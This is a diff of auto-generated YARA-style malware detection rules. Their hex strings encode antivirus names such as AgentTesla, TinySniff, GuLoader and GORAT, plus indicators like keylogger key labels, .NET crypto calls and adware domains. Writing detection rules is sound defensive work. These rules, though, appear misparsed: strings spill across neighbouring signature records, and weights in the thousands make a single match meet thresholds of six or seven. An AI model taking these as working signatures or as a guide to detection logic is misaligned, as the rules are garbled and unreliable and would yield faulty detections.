75 6c 6f 61 64 65 72 2e 4b 48 47 55 31 32 33 21 4d 54 42 00 01 00 25 81 01 69 6e 74 6f 72 74 73 20 73 74 6f 66 73 6b 69 66 74 65 73 79 67 64 6f 6d 6d 65 20 61 64 6d 69 74 74 65 72 65 73 01 00 1a 81 01 63 6f 6d 66 6f 72 74 61 74 } //27237 + $a_20_3 = {6b 72 69 66 74 73 70 72 6f 67 65 74 01 00 0a 81 01 64 6f 64 65 63 75 70 6c 65 74 01 00 1b 81 01 74 72 6f 76 72 64 69 67 73 74 65 20 74 61 74 6f 76 72 20 73 6b 69 6c 69 66 74 65 01 00 0f 81 01 62 72 6e 65 66 64 73 65 6c 73 64 61 67 65 6e 01 00 1b 81 01 73 6b 69 64 64 69 6e 67 6c 79 20 62 61 73 74 6e 69 6e 67 20 65 74 72 6f 67 69 } //28521 + $a_00_5 = {06 00 06 00 21 23 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*20993+(#a_65_2 & 1)*27237+(#a_20_3 & 1)*28521+(#a_00_5 & 1)*0) >=6 + +} +rule _InfrastructureShared_15378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165121,7 +176160,7 @@ rule _InfrastructureShared_14431{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26996+(#a_00_3 & 1)*0+(#a_52_4 & 1)*21320+(#a_20_5 & 1)*25970) >=6 } -rule _InfrastructureShared_14432{ +rule _InfrastructureShared_15379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165135,7 +176174,7 @@ rule _InfrastructureShared_14432{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25971+(#a_00_3 & 1)*6+(#a_57_4 & 1)*21076+(#a_6e_5 & 1)*28018) >=6 } -rule _InfrastructureShared_14433{ +rule _InfrastructureShared_15380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165148,7 +176187,7 @@ rule _InfrastructureShared_14433{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25966+(#a_64_4 & 1)*8448+(#a_50_5 & 1)*29793) >=6 } -rule _InfrastructureShared_14434{ +rule _InfrastructureShared_15381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -165164,7 +176203,7 @@ rule _InfrastructureShared_14434{ ((#a_5f_0 & 1)*25635+(#a_6f_1 & 1)*20592+(#a_61_2 & 1)*29541+(#a_00_3 & 1)*29541+(#a_69_4 & 1)*18689+(#a_32_5 & 1)*12614+(#a_6f_6 & 1)*29541) >=6 } -rule _InfrastructureShared_14435{ +rule _InfrastructureShared_15382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165180,7 +176219,7 @@ rule _InfrastructureShared_14435{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_69_2 & 1)*22273+(#a_00_3 & 1)*25971+(#a_37_4 & 1)*385+(#a_45_5 & 1)*-32477+(#a_62_6 & 1)*30565) >=7 } -rule _InfrastructureShared_14436{ +rule _InfrastructureShared_15383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165196,7 +176235,7 @@ rule _InfrastructureShared_14436{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29541+(#a_d6_2 & 1)*0+(#a_61_3 & 1)*28015+(#a_65_4 & 1)*276+(#a_47_5 & 1)*18212+(#a_7a_6 & 1)*29818) >=7 } -rule _InfrastructureShared_14437{ +rule _InfrastructureShared_15384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165211,7 +176250,7 @@ rule _InfrastructureShared_14437{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*20581+(#a_00_3 & 1)*7+(#a_72_4 & 1)*14930+(#a_34_5 & 1)*13110+(#a_6f_6 & 1)*28233) >=7 } -rule _InfrastructureShared_14438{ +rule _InfrastructureShared_15385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165227,7 +176266,7 @@ rule _InfrastructureShared_14438{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25636+(#a_47_2 & 1)*18212+(#a_57_3 & 1)*21076+(#a_72_4 & 1)*31074+(#a_01_5 & 1)*2304+(#a_65_6 & 1)*11891) >=7 } -rule _InfrastructureShared_14439{ +rule _InfrastructureShared_15386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165238,12 +176277,12 @@ rule _InfrastructureShared_14439{ $a_2e_3 = {65 72 01 00 12 81 01 25 25 5c 41 6d 65 6e 74 61 63 65 6f 75 73 2e 6f 76 65 01 00 1a 81 01 37 5c 44 69 61 6d 65 74 65 72 5c 63 65 6e 73 6f 72 61 74 65 72 73 2e 44 65 63 01 00 10 81 01 62 75 6e 74 73 20 6c 79 63 61 65 6e 69 64 61 65 01 00 0e 81 01 74 65 6c 65 61 6e 65 6d 6f 67 72 61 70 68 01 00 0e 81 01 65 75 78 61 6e 74 68 6f 6e 65 2e 65 78 65 } //25966 $a_d6_4 = {00 07 00 07 00 07 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 53 75 70 65 72 4f 70 74 69 6d 69 7a 65 72 00 01 00 1b 01 73 75 70 65 72 6f 70 74 69 6d 69 7a 65 72 2d 72 65 73 75 6d 65 2e 69 6e 66 6f 00 01 00 18 01 73 65 74 75 70 72 65 73 75 6d 65 72 2d 73 75 70 6f 70 74 2e 63 6f 6d 00 01 00 18 01 6f 70 74 69 73 75 70 65 72 72 65 73 75 6d 65 72 61 70 70 2e 6f 72 } //0 $a_00_5 = {10 } //103 - $a_70_6 = {72 65 73 75 6d 65 72 2e 6e 65 74 00 01 00 17 01 72 65 73 75 6d 65 73 65 74 75 70 6f 73 75 70 65 72 2e 69 6e 66 6f 00 01 00 11 01 6f 70 74 73 75 70 72 65 73 75 6d 65 2e 63 6f 6d 00 01 00 13 01 72 65 73 75 6d 65 73 75 70 65 72 6f 70 74 2e 6f 72 67 00 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //29441 + $a_70_6 = {72 65 73 75 6d 65 72 2e 6e 65 74 00 01 00 17 01 72 65 73 75 6d 65 73 65 74 75 70 6f 73 75 70 65 72 2e 69 6e 66 6f 00 01 00 11 01 6f 70 74 73 75 70 72 65 73 75 6d 65 2e 63 6f 6d 00 01 00 13 01 72 65 73 75 6d 65 73 75 70 65 72 6f 70 74 2e 6f 72 67 00 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 69 6e 79 } //29441 condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27745+(#a_2e_2 & 1)*28265+(#a_2e_3 & 1)*25966+(#a_d6_4 & 1)*0+(#a_00_5 & 1)*103+(#a_70_6 & 1)*29441) >=7 } -rule _InfrastructureShared_14440{ +rule _InfrastructureShared_15387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165252,29 +176291,45 @@ rule _InfrastructureShared_14440{ $a_72_1 = {00 12 81 01 25 25 5c 41 6d 65 6e 74 61 63 65 6f 75 73 2e 6f 76 65 01 00 1a 81 01 37 5c 44 69 61 6d 65 74 65 72 5c 63 65 6e 73 6f 72 61 74 65 72 73 2e 44 65 63 01 00 10 81 01 62 75 6e 74 73 20 6c 79 63 61 65 6e 69 64 61 65 01 00 0e 81 01 74 65 6c 65 61 6e 65 6d 6f 67 72 61 70 68 01 00 0e 81 01 65 75 78 } //30254 $a_68_2 = {6e 65 2e 65 78 65 00 00 78 d6 00 00 07 00 07 00 07 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 53 75 70 65 72 4f 70 74 69 6d 69 7a 65 72 00 01 00 1b 01 73 75 70 65 72 6f 70 74 69 6d 69 7a 65 72 2d 72 65 73 75 6d 65 2e 69 6e 66 6f 00 01 00 18 01 73 65 74 75 70 72 65 73 75 6d 65 72 2d 73 75 70 6f 70 74 2e 63 6f 6d 00 01 00 18 01 6f 70 74 69 73 75 70 } //28257 $a_65_3 = {75 6d 65 72 61 70 70 2e 6f 72 67 00 01 00 10 01 73 75 70 65 72 65 73 75 6d 65 72 2e 6e 65 74 00 01 00 17 01 72 65 73 75 6d 65 73 65 74 75 70 6f 73 75 70 65 72 2e 69 6e 66 6f 00 01 00 11 01 6f 70 74 73 75 70 72 65 73 75 6d 65 2e 63 6f 6d 00 01 00 13 01 72 65 73 75 6d 65 73 75 70 65 72 6f 70 74 2e 6f 72 67 00 00 00 78 d6 00 00 08 00 08 00 08 } //29285 - $a_48_4 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4f 31 39 21 4d 54 42 } //8448 TR:Trojan:MSIL/AgentTesla.AMO19!MTB - $a_47_6 = {72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0a 81 01 47 5a 69 70 53 74 72 65 61 6d 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 54 6f 43 68 61 72 41 72 72 } //20993 + $a_41_4 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 69 6e 79 53 6e 69 66 66 2e 41 21 64 68 61 00 01 00 0e 01 53 } //8448 + $a_00_6 = {20 00 2b 00 01 00 0a 01 41 00 6c 00 74 00 20 00 2b 00 01 00 0a 01 61 00 72 00 61 00 74 00 6f 00 01 00 0c 01 48 00 61 00 72 00 6f 00 6c 00 64 00 01 00 0c 01 5b 00 48 00 6f 00 6d 00 65 00 5d 00 01 00 14 01 5b 00 4e 00 75 00 6d 00 20 00 4c 00 6f 00 63 00 6b 00 5d 00 01 00 1c 01 5b 00 50 00 72 00 69 00 6e 00 74 00 20 00 53 00 63 00 72 00 65 00 65 00 } //102 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30254+(#a_68_2 & 1)*28257+(#a_65_3 & 1)*29285+(#a_48_4 & 1)*8448+(#a_47_6 & 1)*20993) >=7 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30254+(#a_68_2 & 1)*28257+(#a_65_3 & 1)*29285+(#a_41_4 & 1)*8448+(#a_00_6 & 1)*102) >=7 } -rule _InfrastructureShared_14441{ +rule _InfrastructureShared_15388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 53 75 70 65 72 4f 70 74 69 6d 69 7a 65 72 00 01 00 1b 01 73 75 70 65 72 6f 70 74 69 6d 69 7a 65 72 2d 72 65 73 75 6d 65 2e 69 6e 66 6f 00 01 00 18 01 73 65 74 75 70 72 65 73 75 6d 65 72 2d 73 75 70 6f 70 74 2e 63 6f 6d 00 01 00 18 01 6f 70 74 69 73 75 70 65 72 72 65 73 75 6d 65 72 61 70 70 2e 6f 72 67 00 01 00 } //19491 - $a_75_1 = {65 72 65 73 75 6d 65 72 2e 6e 65 74 00 01 00 17 01 72 65 73 75 6d 65 73 65 74 75 70 6f 73 75 70 65 72 2e 69 6e 66 6f 00 01 00 11 01 6f 70 74 73 75 70 72 65 73 75 6d 65 2e 63 6f 6d 00 01 00 13 01 72 65 73 75 6d 65 73 75 70 65 72 6f 70 74 2e 6f 72 67 00 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //272 - $a_6e_2 = {54 65 73 6c 61 2e 41 4d 4f 31 39 21 4d 54 42 00 01 00 18 81 01 52 4e 47 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0a 81 01 47 5a 69 70 53 74 72 65 61 6d 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 54 6f 43 68 61 72 41 } //26433 - $a_79_3 = {00 25 81 01 24 32 64 32 33 39 35 34 37 2d 64 34 65 37 2d 34 32 65 65 2d 39 34 35 63 2d 63 62 64 64 32 36 63 64 36 65 37 32 01 00 06 81 01 42 38 44 32 35 54 01 00 13 81 01 50 61 72 65 74 68 65 72 66 6c 65 6e 2e 54 75 63 73 6f 6e 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 } //29298 - $a_6e_4 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 31 30 38 32 32 32 21 4d 54 42 00 01 00 24 81 01 36 62 65 35 64 61 36 33 2d 34 31 37 39 2d 34 61 39 64 2d 62 30 35 33 2d 62 37 39 65 37 63 39 30 35 32 30 35 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 01 54 72 61 } //27247 - $a_6f_5 = {6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 10 01 4d 75 6c 74 69 63 61 73 74 53 75 70 70 6f 72 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0f 01 4f 62 6a 65 63 74 41 75 64 69 74 52 75 6c 65 00 00 78 d6 00 00 09 00 09 00 09 00 } //29550 - $a_4c_6 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 4f 52 41 54 31 2e 41 21 69 62 74 00 01 00 0d 80 01 68 74 74 70 43 6f 6d 6d 73 2e 64 6c 6c 01 00 0f 80 01 43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 } //8993 + $a_75_1 = {65 72 65 73 75 6d 65 72 2e 6e 65 74 00 01 00 17 01 72 65 73 75 6d 65 73 65 74 75 70 6f 73 75 70 65 72 2e 69 6e 66 6f 00 01 00 11 01 6f 70 74 73 75 70 72 65 73 75 6d 65 2e 63 6f 6d 00 01 00 13 01 72 65 73 75 6d 65 73 75 70 65 72 6f 70 74 2e 6f 72 67 00 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 } //272 + $a_53_2 = {69 66 66 2e 41 21 64 68 61 00 01 00 0e 01 53 00 68 00 69 00 66 00 74 00 20 00 2b 00 01 00 0a 01 41 00 6c 00 74 00 20 00 2b 00 01 00 0a 01 61 00 72 00 61 00 74 00 6f 00 01 00 0c 01 48 00 61 00 72 00 6f 00 6c 00 64 00 01 00 0c 01 5b 00 48 00 6f 00 6d 00 65 00 5d 00 01 00 14 01 5b 00 4e 00 75 00 6d 00 20 00 4c 00 6f 00 63 00 6b 00 5d 00 01 00 1c 01 5b 00 50 00 72 } //28265 + $a_00_4 = {53 00 63 00 72 00 65 00 65 00 6e 00 5d 00 01 00 22 01 4e 00 6f 00 20 00 64 00 61 00 74 00 61 00 } //116 + $a_00_5 = {77 00 61 00 69 00 6c 00 61 00 62 00 6c 00 65 00 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4f 31 39 21 4d 54 42 00 01 00 18 81 01 52 4e 47 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 } //32 + $a_81_6 = {47 5a 69 70 53 74 72 65 61 6d } //1 GZipStream condition: - ((#a_77_0 & 1)*19491+(#a_75_1 & 1)*272+(#a_6e_2 & 1)*26433+(#a_79_3 & 1)*29298+(#a_6e_4 & 1)*27247+(#a_6f_5 & 1)*29550+(#a_4c_6 & 1)*8993) >=7 + ((#a_77_0 & 1)*19491+(#a_75_1 & 1)*272+(#a_53_2 & 1)*28265+(#a_00_4 & 1)*116+(#a_00_5 & 1)*32+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_14442{ +rule _InfrastructureShared_15389{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 69 6e 79 53 6e 69 66 66 2e 41 21 64 68 61 00 01 00 0e 01 53 00 68 00 69 00 66 00 74 00 20 00 2b 00 01 00 0a 01 41 00 6c 00 74 00 20 00 2b 00 01 00 0a 01 61 00 72 00 61 00 74 00 6f 00 01 00 } //16675 + $a_00_1 = {61 00 72 00 6f 00 6c 00 64 00 01 00 0c 01 5b 00 48 00 6f 00 6d 00 65 00 5d 00 01 00 14 01 5b 00 4e 00 75 00 6d 00 20 00 4c 00 6f 00 63 00 6b 00 5d 00 01 00 1c 01 5b 00 50 00 72 00 69 00 6e 00 74 00 20 00 53 00 63 00 } //268 + $a_00_2 = {65 00 6e 00 5d 00 01 00 22 01 4e 00 6f 00 20 00 64 00 61 00 74 00 61 00 20 00 61 00 77 00 61 00 69 00 6c 00 61 00 62 00 6c 00 65 00 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4f 31 39 21 4d 54 42 00 01 00 18 81 01 } //114 + $a_43_3 = {79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0a 81 01 47 5a 69 70 53 74 72 65 61 6d 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 54 6f 43 } //20050 + $a_41_4 = {72 61 79 01 00 25 81 01 24 32 64 32 33 39 35 34 37 2d 64 34 65 37 2d 34 32 65 65 2d 39 34 35 63 2d 63 62 64 64 32 36 63 64 36 65 37 32 01 00 06 81 01 42 38 44 32 35 54 01 00 13 81 01 50 61 72 65 74 68 65 72 66 6c 65 6e 2e 54 75 63 73 6f 6e 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //24936 + $a_65_5 = {6c 61 2e 53 4d 30 31 30 38 32 32 32 21 4d 54 42 00 01 00 24 81 01 36 62 65 35 64 61 36 33 2d 34 31 37 39 2d 34 61 39 64 2d 62 30 35 33 2d 62 37 39 65 37 63 39 30 35 32 30 35 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 01 54 72 61 } //29806 + $a_6f_6 = {6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 10 01 4d 75 6c 74 69 63 61 73 74 53 75 70 70 6f 72 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0f 01 4f 62 6a 65 63 74 41 75 64 69 74 52 75 6c 65 00 00 78 d6 00 00 08 00 08 00 08 00 } //29550 + $a_53_7 = {52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 41 21 4d 54 42 00 01 00 0c 81 01 47 6e 69 65 72 65 6e 73 2e 6a 70 67 01 00 12 81 01 4b 6c 61 76 65 72 6d 75 73 69 6b 6b 65 6e 2e 74 78 74 } //8993 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*268+(#a_00_2 & 1)*114+(#a_43_3 & 1)*20050+(#a_41_4 & 1)*24936+(#a_65_5 & 1)*29806+(#a_6f_6 & 1)*29550+(#a_53_7 & 1)*8993) >=8 + +} +rule _InfrastructureShared_15390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -165282,33 +176337,47 @@ rule _InfrastructureShared_14442{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4f 31 39 21 4d 54 42 00 01 00 18 81 01 52 4e 47 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0a 81 01 47 5a 69 70 53 74 72 65 61 6d 01 00 0c 81 01 } //18467 $a_6f_1 = {79 53 74 72 65 61 6d 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 25 81 01 24 32 64 32 33 39 35 34 37 2d 64 34 65 37 2d 34 32 65 65 2d 39 34 35 63 2d 63 62 64 64 32 36 63 64 36 65 37 32 01 00 06 81 01 42 38 44 32 35 54 01 00 13 81 01 50 61 72 65 74 68 65 72 66 6c 65 6e 2e 54 75 63 } //25933 $a_00_2 = {00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 31 30 38 32 32 32 21 4d 54 42 00 01 00 24 81 01 36 62 65 35 64 61 36 33 2d 34 31 37 39 2d 34 61 39 64 2d 62 30 35 33 2d 62 37 39 65 37 63 39 30 35 32 30 35 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 } //28531 - $a_6f_3 = {01 00 13 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 10 01 4d 75 6c 74 69 63 61 73 74 53 75 70 70 6f 72 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0f 01 4f 62 6a 65 63 74 41 75 64 69 74 52 75 6c 65 00 00 78 d6 00 00 09 00 09 00 09 00 21 23 } //28793 - $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 4f 52 41 54 31 2e 41 21 69 62 74 00 01 00 0d 80 01 68 74 74 70 43 6f 6d 6d 73 2e 64 6c 6c 01 00 0f 80 01 43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 01 00 07 80 01 47 6c } //19521 - $a_6c_5 = {01 00 0a 80 01 73 74 61 67 65 30 2e 64 6c 6c 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 00 07 80 01 67 65 74 44 61 74 61 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 11 80 01 57 69 6e 64 6f 77 73 20 4e 54 20 25 64 2e 25 64 3b 01 00 28 80 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d } //25199 - $a_6e_6 = {6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 d6 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 52 75 6e 73 68 65 6c 6c 7a 2e 41 21 4d 54 42 00 01 00 07 01 68 74 74 70 3a 2f 2f 01 00 08 01 61 73 73 65 6d 62 6c 79 01 00 13 01 72 65 71 75 65 73 74 } //25376 - $a_72_7 = {76 69 6c 65 67 65 73 01 00 17 01 72 65 71 75 65 73 74 65 64 45 78 65 63 75 74 69 6f 6e 4c 65 76 65 6c 01 00 0f 01 47 65 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 57 01 00 06 01 61 74 74 61 63 68 01 00 08 00 32 a2 df 2d 99 2b 00 00 01 00 2b 02 48 } //25701 + $a_6f_3 = {01 00 13 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 10 01 4d 75 6c 74 69 63 61 73 74 53 75 70 70 6f 72 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0f 01 4f 62 6a 65 63 74 41 75 64 69 74 52 75 6c 65 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 } //28793 + $a_52_4 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 41 21 4d 54 42 00 01 00 0c 81 01 47 6e 69 65 72 65 6e 73 2e 6a 70 67 01 00 12 81 01 4b 6c 61 76 65 72 6d 75 73 69 6b 6b 65 6e 2e 74 78 74 01 00 11 81 01 4c 73 65 70 72 6f 63 65 73 } //21320 + $a_73_5 = {79 62 6c 01 00 16 81 01 61 66 6c 79 74 6e 69 6e 67 73 62 61 61 6e 64 65 6e 65 2e 74 78 74 01 00 0c 81 01 61 6e 6f 6d 75 72 61 6e 2e 62 6f 72 01 00 0f 81 01 64 69 73 75 6e 69 6f 6e 69 73 74 2e 6a 70 67 01 00 0e 81 01 66 69 6c 6d 6d 69 6c 6a 65 74 2e 74 78 74 01 00 13 81 01 70 61 6c 65 6f 67 65 6f 67 72 61 70 68 69 63 2e 6d 65 64 } //25971 + $a_d6_6 = {00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 4f 52 41 54 31 2e 41 21 69 62 74 00 01 00 0d 80 01 68 74 74 70 43 6f 6d 6d 73 2e 64 6c 6c 01 00 0f 80 01 43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 01 00 07 80 01 47 6c 6f 62 61 6c 5c 01 00 0a 80 01 73 74 61 67 65 30 2e 64 6c 6c 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 } //0 + $a_01_7 = {67 65 74 44 61 74 61 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 11 80 01 57 69 6e 64 6f 77 73 20 4e 54 20 25 64 2e 25 64 3b 01 00 28 80 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 d6 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 52 75 6e 73 68 65 6c 6c 7a 2e 41 21 4d 54 } //1792 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25933+(#a_00_2 & 1)*28531+(#a_6f_3 & 1)*28793+(#a_3a_4 & 1)*19521+(#a_6c_5 & 1)*25199+(#a_6e_6 & 1)*25376+(#a_72_7 & 1)*25701) >=8 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25933+(#a_00_2 & 1)*28531+(#a_6f_3 & 1)*28793+(#a_52_4 & 1)*21320+(#a_73_5 & 1)*25971+(#a_d6_6 & 1)*0+(#a_01_7 & 1)*1792) >=8 } -rule _InfrastructureShared_14443{ +rule _InfrastructureShared_15391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 31 30 38 32 32 32 21 4d 54 42 00 01 00 24 81 01 36 62 65 35 64 61 36 33 2d 34 31 37 39 2d 34 61 39 64 2d 62 30 35 33 2d 62 37 39 65 37 63 39 30 35 32 30 35 01 00 0f 01 } //18467 $a_61_1 = {65 44 65 63 72 79 70 74 6f 72 01 00 13 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 10 01 4d 75 6c 74 69 63 61 73 74 53 75 70 70 6f 72 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0f 01 4f 62 6a 65 } //29251 - $a_75_2 = {69 74 52 75 6c 65 00 00 78 d6 00 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 4f 52 41 54 31 2e 41 21 69 62 74 00 01 00 0d 80 01 68 74 74 70 43 6f 6d 6d 73 2e } //29795 - $a_01_3 = {00 0f 80 01 43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 01 00 07 80 01 47 6c 6f 62 61 6c 5c 01 00 0a 80 01 73 74 61 67 65 30 2e 64 6c 6c 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 00 07 80 01 67 65 74 44 61 74 61 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 11 80 01 57 69 6e 64 6f 77 73 20 4e 54 20 25 64 2e 25 } //27748 - $a_00_4 = {28 } //15204 ( - $a_54_5 = {69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d } //384 is program cannot be run in DOS m - $a_2e_6 = {00 78 d6 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 52 75 6e 73 68 65 6c 6c 7a 2e 41 21 4d 54 42 00 01 00 07 01 68 74 74 70 3a 2f 2f 01 00 08 01 61 73 73 65 6d 62 6c 79 01 00 13 01 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 73 01 00 17 01 72 65 71 75 65 73 74 65 